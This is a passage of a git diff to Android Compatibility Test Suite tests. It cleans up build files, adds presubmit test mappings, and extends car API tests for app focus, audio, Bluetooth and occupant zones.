diff --git a/tests/tests/bluetooth/bluetoothTestUtilLib/Android.bp b/tests/tests/bluetooth/bluetoothTestUtilLib/Android.bp
index 124c0a2..0257a41 100644
--- a/tests/tests/bluetooth/bluetoothTestUtilLib/Android.bp
+++ b/tests/tests/bluetooth/bluetoothTestUtilLib/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "bluetooth-test-util-lib",
 
diff --git a/tests/tests/calendarcommon/Android.bp b/tests/tests/calendarcommon/Android.bp
index e267c99..55b5180 100644
--- a/tests/tests/calendarcommon/Android.bp
+++ b/tests/tests/calendarcommon/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsCalendarcommon2TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/calendarcommon/TEST_MAPPING b/tests/tests/calendarcommon/TEST_MAPPING
new file mode 100644
index 0000000..0d71e66
--- /dev/null
+++ b/tests/tests/calendarcommon/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsCalendarcommon2TestCases"
+    }
+  ]
+}
diff --git a/tests/tests/calendarprovider/Android.bp b/tests/tests/calendarprovider/Android.bp
index d14e9f1..39327ba 100644
--- a/tests/tests/calendarprovider/Android.bp
+++ b/tests/tests/calendarprovider/Android.bp
@@ -1,7 +1,3 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsCalendarProviderTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/calendarprovider/TEST_MAPPING b/tests/tests/calendarprovider/TEST_MAPPING
new file mode 100644
index 0000000..94417b5
--- /dev/null
+++ b/tests/tests/calendarprovider/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsCalendarProviderTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/car/Android.bp b/tests/tests/car/Android.bp
index c3e5890..683ee41 100644
--- a/tests/tests/car/Android.bp
+++ b/tests/tests/car/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsCarTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/car/src/android/car/cts/CarApiTestBase.java b/tests/tests/car/src/android/car/cts/CarApiTestBase.java
index e5c343a..c328a49 100644
--- a/tests/tests/car/src/android/car/cts/CarApiTestBase.java
+++ b/tests/tests/car/src/android/car/cts/CarApiTestBase.java
@@ -24,16 +24,12 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.ServiceConnection;
-import android.content.pm.PackageManager;
 import android.os.IBinder;
 import android.os.Looper;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
-import com.android.compatibility.common.util.RequiredFeatureRule;
-
 import org.junit.After;
-import org.junit.ClassRule;
 
 import java.util.Arrays;
 import java.util.List;
@@ -41,9 +37,6 @@
 import java.util.concurrent.TimeUnit;
 
 public abstract class CarApiTestBase {
-    @ClassRule
-    public static final RequiredFeatureRule sRequiredFeatureRule = new RequiredFeatureRule(
-            PackageManager.FEATURE_AUTOMOTIVE);
 
     protected static final long DEFAULT_WAIT_TIMEOUT_MS = 1000;
 
diff --git a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
index e254bbc..df1fc6b 100644
--- a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
@@ -13,6 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.car.cts;
 
 import static android.car.CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION;
@@ -118,12 +119,72 @@
 
     @Test
     public void testRegisterUnregister() throws Exception {
-        FocusChangedListerner listener = new FocusChangedListerner();
-        FocusChangedListerner listener2 = new FocusChangedListerner();
-        mManager.addFocusListener(listener, 1);
-        mManager.addFocusListener(listener2, 1);
-        mManager.removeFocusListener(listener);
+        FocusChangedListener listener1 = new FocusChangedListener();
+        FocusChangedListener listener2 = new FocusChangedListener();
+
+        mManager.addFocusListener(listener1, APP_FOCUS_TYPE_NAVIGATION);
+        mManager.addFocusListener(listener2, APP_FOCUS_TYPE_NAVIGATION);
+        mManager.removeFocusListener(listener1);
+
+        assertThat(mManager.requestAppFocus(APP_FOCUS_TYPE_NAVIGATION,
+                new FocusOwnershipCallback()))
+                .isEqualTo(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED);
+        // listener1 is unregistered from all types of app, no events are expected.
+        assertThat(listener1.waitForFocusChangedAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION, true)).isFalse();
+        assertThat(listener2.waitForFocusChangedAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION, true)).isTrue();
+
         mManager.removeFocusListener(listener2);
+
+        assertThat(mManager.requestAppFocus(APP_FOCUS_TYPE_NAVIGATION,
+                new FocusOwnershipCallback()))
+                .isEqualTo(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED);
+        // listener1 is unregistered from all types of app, no events are expected.
+        assertThat(listener1.waitForFocusChangedAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION, true)).isFalse();
+        // listener2 is unregistered from all types of app, no events are expected.
+        assertThat(listener2.waitForFocusChangedAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION, true)).isFalse();
+
+        // Double unregistering should be okay.
+        mManager.removeFocusListener(listener1);
+        mManager.removeFocusListener(listener2);
+    }
+
+    @Test
+    public void testRegisterUnregisterSpecificApp() throws Exception {
+        FocusChangedListener listener1 = new FocusChangedListener();
+        FocusChangedListener listener2 = new FocusChangedListener();
+
+        mManager.addFocusListener(listener1, APP_FOCUS_TYPE_NAVIGATION);
+        mManager.addFocusListener(listener2, APP_FOCUS_TYPE_NAVIGATION);
+        mManager.removeFocusListener(listener1, APP_FOCUS_TYPE_NAVIGATION);
+
+        assertThat(mManager.requestAppFocus(APP_FOCUS_TYPE_NAVIGATION,
+                new FocusOwnershipCallback()))
+                .isEqualTo(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED);
+        // listener1 is unregistered from navigation app, no events are expected.
+        assertThat(listener1.waitForFocusChangedAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION, true)).isFalse();
+        assertThat(listener2.waitForFocusChangedAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION, true)).isTrue();
+
+        mManager.removeFocusListener(listener2, APP_FOCUS_TYPE_NAVIGATION);
+
+        assertThat(mManager.requestAppFocus(APP_FOCUS_TYPE_NAVIGATION,
+                new FocusOwnershipCallback()))
+                .isEqualTo(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED);
+        // listener1 is unregistered from navigation app, no events are expected.
+        assertThat(listener1.waitForFocusChangedAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION, true)).isFalse();
+        // listener2 is unregistered from navigation app, no events are expected.
+        assertThat(listener2.waitForFocusChangedAndAssert(
+                DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION, true)).isFalse();
+
+        // Double unregistering should be okay.
+        mManager.removeFocusListener(listener1, APP_FOCUS_TYPE_NAVIGATION);
+        mManager.removeFocusListener(listener2, APP_FOCUS_TYPE_NAVIGATION);
     }
 
     @Test
@@ -139,8 +200,8 @@
         final int[] emptyFocus = new int[0];
 
         Assert.assertArrayEquals(emptyFocus, mManager.getActiveAppTypes());
-        FocusChangedListerner change = new FocusChangedListerner();
-        FocusChangedListerner change2 = new FocusChangedListerner();
+        FocusChangedListener change = new FocusChangedListener();
+        FocusChangedListener change2 = new FocusChangedListener();
         FocusOwnershipCallback owner = new FocusOwnershipCallback();
         FocusOwnershipCallback owner2 = new FocusOwnershipCallback();
         mManager.addFocusListener(change, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
@@ -252,8 +313,8 @@
 
         Assert.assertArrayEquals(new int[0], mManager.getActiveAppTypes());
 
-        FocusChangedListerner listener = new FocusChangedListerner();
-        FocusChangedListerner listener2 = new FocusChangedListerner();
+        FocusChangedListener listener = new FocusChangedListener();
+        FocusChangedListener listener2 = new FocusChangedListener();
         FocusOwnershipCallback owner = new FocusOwnershipCallback();
         mManager.addFocusListener(listener, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
         manager2.addFocusListener(listener2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
@@ -279,8 +340,8 @@
 
     @Test
     public void testMultipleChangeListenersPerManager() throws Exception {
-        FocusChangedListerner listener = new FocusChangedListerner();
-        FocusChangedListerner listener2 = new FocusChangedListerner();
+        FocusChangedListener listener = new FocusChangedListener();
+        FocusChangedListener listener2 = new FocusChangedListener();
         FocusOwnershipCallback owner = new FocusOwnershipCallback();
         mManager.addFocusListener(listener, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
         mManager.addFocusListener(listener2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
@@ -297,14 +358,14 @@
 
         listener.reset();
         listener2.reset();
-        mManager.abandonAppFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
+        mManager.abandonAppFocus(owner);
         assertTrue(listener.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, false));
         assertTrue(listener2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, false));
     }
 
-    private class FocusChangedListerner implements CarAppFocusManager.OnAppFocusChangedListener {
+    private class FocusChangedListener implements CarAppFocusManager.OnAppFocusChangedListener {
         private int mLastChangeAppType;
         private boolean mLastChangeAppActive;
         private final Semaphore mChangeWait = new Semaphore(0);
diff --git a/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java b/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java
new file mode 100644
index 0000000..16fb125
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.car.Car;
+import android.car.media.CarAudioManager;
+import android.test.suitebuilder.annotation.SmallTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public final class CarAudioManagerTest extends CarApiTestBase {
+
+    private static String TAG = CarAudioManagerTest.class.getSimpleName();
+
+    private CarAudioManager mCarAudioManager;
+
+    @Override
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        mCarAudioManager = (CarAudioManager) getCar().getCarManager(Car.AUDIO_SERVICE);
+    }
+
+    @Test
+    public void isAudioFeatureEnabled_withVolumeGroupMuteFeature_succeeds() {
+        boolean volumeGroupMutingEnabled =
+                mCarAudioManager.isAudioFeatureEnabled(
+                        CarAudioManager.AUDIO_FEATURE_VOLUME_GROUP_MUTING);
+
+        assertThat(volumeGroupMutingEnabled).isAnyOf(true, false);
+    }
+
+    @Test
+    public void isAudioFeatureEnabled_withDynamicRoutingFeature_succeeds() {
+        boolean dynamicRoutingEnabled =
+                mCarAudioManager.isAudioFeatureEnabled(
+                        CarAudioManager.AUDIO_FEATURE_DYNAMIC_ROUTING);
+
+        assertThat(dynamicRoutingEnabled).isAnyOf(true, false);
+    }
+
+    @Test
+    public void isAudioFeatureEnabled_withNonAudioFeature_fails() {
+        IllegalArgumentException exception = expectThrows(IllegalArgumentException.class,
+                () -> mCarAudioManager.isAudioFeatureEnabled(0));
+
+        assertThat(exception).hasMessageThat().contains("Unknown Audio Feature");
+    }
+}
diff --git a/tests/tests/car/src/android/car/cts/CarBluetoothTest.java b/tests/tests/car/src/android/car/cts/CarBluetoothTest.java
index aee85da..b4f50d3 100644
--- a/tests/tests/car/src/android/car/cts/CarBluetoothTest.java
+++ b/tests/tests/car/src/android/car/cts/CarBluetoothTest.java
@@ -32,27 +32,30 @@
 import android.test.suitebuilder.annotation.SmallTest;
 import android.util.Log;
 import android.util.SparseArray;
+
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.FeatureUtil;
 import com.android.compatibility.common.util.RequiredFeatureRule;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.locks.Condition;
-import java.util.concurrent.locks.ReentrantLock;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.ClassRule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+
 /**
  * Contains the tests to prove compliance with android automotive specific bluetooth requirements.
  */
-// TODO(b/146663105): Fix hidden API
-//@SmallTest
-//@RequiresDevice
-//@RunWith(AndroidJUnit4.class)
+@SmallTest
+@RequiresDevice
+@RunWith(AndroidJUnit4.class)
 public class CarBluetoothTest {
     @ClassRule
     public static final RequiredFeatureRule sRequiredFeatureRule = new RequiredFeatureRule(
@@ -165,20 +168,19 @@
             mConnected = false;
         }
     }
-// TODO(b/146663105): Fix hidden API
-/*
+
     // Automotive required profiles and meta data. Profile defaults to 'not connected' and name
     // is used in debug and error messages
     private static SparseArray<ProfileInfo> sRequiredBluetoothProfiles = new SparseArray();
     static {
-        sRequiredBluetoothProfiles.put(BluetoothProfile.A2DP_SINK,
-                new ProfileInfo("A2DP Sink")); // 11
-        sRequiredBluetoothProfiles.put(BluetoothProfile.AVRCP_CONTROLLER,
-                new ProfileInfo("AVRCP Controller")); // 12
-        sRequiredBluetoothProfiles.put(BluetoothProfile.HEADSET_CLIENT,
-                new ProfileInfo("HSP Client")); // 16
-        sRequiredBluetoothProfiles.put(BluetoothProfile.PBAP_CLIENT,
-                new ProfileInfo("PBAP Client")); // 17
+        sRequiredBluetoothProfiles.put(11,
+                new ProfileInfo("A2DP Sink")); // BluetoothProfile.A2DP_SINK
+        sRequiredBluetoothProfiles.put(12,
+                new ProfileInfo("AVRCP Controller")); // BluetoothProfile.AVRCP_CONTROLLER
+        sRequiredBluetoothProfiles.put(16,
+                new ProfileInfo("HSP Client")); // BluetoothProfile.HEADSET_CLIENT
+        sRequiredBluetoothProfiles.put(17,
+                new ProfileInfo("PBAP Client")); // BluetoothProfile.PBAP_CLIENT
     }
     private static final int MAX_PROFILES_SUPPORTED = sRequiredBluetoothProfiles.size();
 
@@ -363,5 +365,4 @@
         waitForProfileConnections();
         checkProfileConnections();
     }
-*/
 }
diff --git a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
index e8f46ed..9d6c115 100644
--- a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
@@ -13,6 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.car.cts;
 
 import static com.google.common.truth.Truth.assertThat;
diff --git a/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java b/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java
index 7dafee2..7c7cc1b 100644
--- a/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java
@@ -13,6 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.car.cts;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -22,12 +23,13 @@
 
 import android.car.Car;
 import android.car.CarOccupantZoneManager;
+import android.car.CarOccupantZoneManager.OccupantZoneConfigChangeListener;
 import android.car.CarOccupantZoneManager.OccupantZoneInfo;
 import android.os.Process;
 import android.os.UserHandle;
 import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
+import android.util.Log;
 import android.view.Display;
 
 import androidx.test.runner.AndroidJUnit4;
@@ -40,9 +42,11 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Instant apps cannot get car related permissions.")
+@AppModeFull(reason = "Test relies on other server to connect to.")
 public class CarOccupantZoneManagerTest extends CarApiTestBase {
 
+    private static String TAG = CarOccupantZoneManagerTest.class.getSimpleName();
+
     private OccupantZoneInfo mDriverZoneInfo;
 
     private CarOccupantZoneManager mCarOccupantZoneManager;
@@ -95,6 +99,17 @@
         assertThat(getDriverDisplay().getDisplayId()).isEqualTo(Display.DEFAULT_DISPLAY);
     }
 
+    @Test
+    public void testCanRegisterOccupantZoneConfigChangeListener() {
+        OccupantZoneConfigChangeListener occupantZoneConfigChangeListener
+                = createOccupantZoneConfigChangeListener();
+        mCarOccupantZoneManager
+                .registerOccupantZoneConfigChangeListener(occupantZoneConfigChangeListener);
+
+        mCarOccupantZoneManager
+                .unregisterOccupantZoneConfigChangeListener(occupantZoneConfigChangeListener);
+    }
+
     private Display getDriverDisplay() {
         Display driverDisplay =
                 mCarOccupantZoneManager.getDisplayForOccupant(
@@ -106,4 +121,12 @@
                 .isNotNull();
         return driverDisplay;
     }
+
+    private OccupantZoneConfigChangeListener createOccupantZoneConfigChangeListener() {
+        return new OccupantZoneConfigChangeListener () {
+            public void onOccupantZoneConfigChanged(int changeFlags) {
+                Log.i(TAG, "Got a confing change, flags: " + changeFlags);
+            }
+        };
+    }
 }
diff --git a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
index 6304ebe..f9a57a6 100644
--- a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
@@ -13,6 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.car.cts;
 
 import static org.junit.Assert.assertFalse;
@@ -103,7 +104,7 @@
         Intent intent = new Intent();
         intent.setClassName(packageName, packageName + relativeClassName);
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        return PendingIntent.getActivity(sContext, 0, intent, 0);
+        return PendingIntent.getActivity(sContext, 0, intent, PendingIntent.FLAG_IMMUTABLE);
     }
 
     @Test
diff --git a/tests/tests/car/src/android/car/cts/CarPropertyConfigTest.java b/tests/tests/car/src/android/car/cts/CarPropertyConfigTest.java
index 06e1212..ac298eb 100644
--- a/tests/tests/car/src/android/car/cts/CarPropertyConfigTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPropertyConfigTest.java
@@ -13,29 +13,32 @@
  * See the License for the specific language governing permissions and
  * limitations under the License
  */
+
 package android.car.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import android.car.Car;
 import android.car.VehicleAreaType;
 import android.car.VehiclePropertyType;
 import android.car.hardware.CarPropertyConfig;
 import android.car.hardware.property.CarPropertyManager;
-
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-import static com.google.common.truth.Truth.assertThat;
 
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.Assert;
 import org.junit.Test.None;
 import org.junit.runner.RunWith;
 
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
 @SmallTest
 @RequiresDevice
 @RunWith(AndroidJUnit4.class)
diff --git a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
index 16c843d..4c5b379 100644
--- a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
@@ -13,6 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.car.cts;
 
 import static com.google.common.truth.Truth.assertThat;
diff --git a/tests/tests/car/src/android/car/cts/CarPropertyValueTest.java b/tests/tests/car/src/android/car/cts/CarPropertyValueTest.java
index 6cdb951..5bc3b4e 100644
--- a/tests/tests/car/src/android/car/cts/CarPropertyValueTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPropertyValueTest.java
@@ -13,30 +13,33 @@
  * See the License for the specific language governing permissions and
  * limitations under the License
  */
+
 package android.car.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import android.car.Car;
 import android.car.VehicleAreaType;
 import android.car.hardware.CarPropertyConfig;
 import android.car.hardware.CarPropertyValue;
 import android.car.hardware.property.CarPropertyManager;
-
 import android.platform.test.annotations.AppModeFull;
-import android.util.SparseArray;
-import androidx.test.runner.AndroidJUnit4;
-import static com.google.common.truth.Truth.assertThat;
-
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
+import android.util.SparseArray;
+
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.Test.None;
 import org.junit.runner.RunWith;
 
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
 @SmallTest
 @RequiresDevice
 @RunWith(AndroidJUnit4.class)
diff --git a/tests/tests/car/src/android/car/cts/CarTest.java b/tests/tests/car/src/android/car/cts/CarTest.java
index fc18eb5..8527189 100644
--- a/tests/tests/car/src/android/car/cts/CarTest.java
+++ b/tests/tests/car/src/android/car/cts/CarTest.java
@@ -13,6 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.car.cts;
 
 import static com.google.common.truth.Truth.assertThat;
diff --git a/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java b/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
index dcd572d..8261a14 100644
--- a/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
@@ -13,8 +13,8 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
-package android.car.cts;
 
+package android.car.cts;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
diff --git a/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java b/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java
index 4e45759..7f24d48 100644
--- a/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java
+++ b/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java
@@ -85,14 +85,15 @@
     @Test
     public void testRecordsIoPerformanceData() throws Exception {
         String packageName = getContext().getPackageName();
-        runShellCommand("dumpsys " + CAR_WATCHDOG_SERVICE_NAME
-                + " --start_io --interval 5 --max_duration 120 --filter_packages " + packageName);
+        runShellCommand(
+                "dumpsys %s --start_perf --interval 5 --max_duration 120 --filter_packages %s",
+                CAR_WATCHDOG_SERVICE_NAME, packageName);
         long writtenBytes = writeToDisk(testDir);
         assertWithMessage("Failed to write data to dir '" + testDir.getAbsolutePath() + "'").that(
                 writtenBytes).isGreaterThan(0L);
         // Sleep twice the collection interval to capture the entire write.
         Thread.sleep(CAPTURE_WAIT_MS);
-        String contents = runShellCommand("dumpsys " + CAR_WATCHDOG_SERVICE_NAME + " --stop_io");
+        String contents = runShellCommand("dumpsys %s --stop_perf", CAR_WATCHDOG_SERVICE_NAME);
         Log.i(TAG, "stop results:" + contents);
         assertWithMessage("Failed to custom collect I/O performance data").that(
                 contents).isNotEmpty();
diff --git a/tests/tests/car/src/android/car/cts/ExceptionsTest.java b/tests/tests/car/src/android/car/cts/ExceptionsTest.java
index 9358a4b..e09f7e0 100644
--- a/tests/tests/car/src/android/car/cts/ExceptionsTest.java
+++ b/tests/tests/car/src/android/car/cts/ExceptionsTest.java
@@ -13,6 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.car.cts;
 
 import static org.junit.Assert.assertEquals;
diff --git a/tests/tests/carrierapi/Android.bp b/tests/tests/carrierapi/Android.bp
index 5f5b61d..6a191ea 100644
--- a/tests/tests/carrierapi/Android.bp
+++ b/tests/tests/carrierapi/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsCarrierApiTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/classloaderfactory/Android.bp b/tests/tests/classloaderfactory/Android.bp
index 450b25f..d920635 100644
--- a/tests/tests/classloaderfactory/Android.bp
+++ b/tests/tests/classloaderfactory/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "ClassLoaderFactoryTestSecondary",
     srcs: [ "src-ex/**/*.java" ],
@@ -36,4 +32,4 @@
     ],
     java_resources: [ ":ClassLoaderFactoryTestSecondary" ],
     sdk_version: "test_current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/classloaderfactory/test-memcl/Android.bp b/tests/tests/classloaderfactory/test-memcl/Android.bp
index 65ba64c..e4dafb8 100644
--- a/tests/tests/classloaderfactory/test-memcl/Android.bp
+++ b/tests/tests/classloaderfactory/test-memcl/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsClassLoaderFactoryInMemoryDexClassLoaderTestCases",
     defaults: [ "cts_classloaderfactorytest_defaults" ],
diff --git a/tests/tests/classloaderfactory/test-memcl/TEST_MAPPING b/tests/tests/classloaderfactory/test-memcl/TEST_MAPPING
new file mode 100644
index 0000000..1e7fc8c
--- /dev/null
+++ b/tests/tests/classloaderfactory/test-memcl/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsClassLoaderFactoryInMemoryDexClassLoaderTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/classloaderfactory/test-pathcl/Android.bp b/tests/tests/classloaderfactory/test-pathcl/Android.bp
index 74ca190..3622519 100644
--- a/tests/tests/classloaderfactory/test-pathcl/Android.bp
+++ b/tests/tests/classloaderfactory/test-pathcl/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsClassLoaderFactoryPathClassLoaderTestCases",
     defaults: [ "cts_classloaderfactorytest_defaults" ],
diff --git a/tests/tests/classloaderfactory/test-pathcl/TEST_MAPPING b/tests/tests/classloaderfactory/test-pathcl/TEST_MAPPING
new file mode 100644
index 0000000..0f4b263
--- /dev/null
+++ b/tests/tests/classloaderfactory/test-pathcl/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsClassLoaderFactoryPathClassLoaderTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/colormode/Android.bp b/tests/tests/colormode/Android.bp
index 2a07d99..3560a61 100644
--- a/tests/tests/colormode/Android.bp
+++ b/tests/tests/colormode/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsColorModeTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/contactsprovider/Android.bp b/tests/tests/contactsprovider/Android.bp
index e58375b..975e5bf 100644
--- a/tests/tests/contactsprovider/Android.bp
+++ b/tests/tests/contactsprovider/Android.bp
@@ -1,7 +1,3 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsContactsProviderTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/contactsprovider/AndroidManifest.xml b/tests/tests/contactsprovider/AndroidManifest.xml
index 23f01fe..e8ee353 100644
--- a/tests/tests/contactsprovider/AndroidManifest.xml
+++ b/tests/tests/contactsprovider/AndroidManifest.xml
@@ -26,6 +26,22 @@
     <!-- We need the calllog permissions for ContactsTest, which is the test for legacy provider. -->
     <uses-permission android:name="android.permission.READ_CALL_LOG" />
     <uses-permission android:name="android.permission.WRITE_CALL_LOG" />
+
+    <queries>
+        <intent>
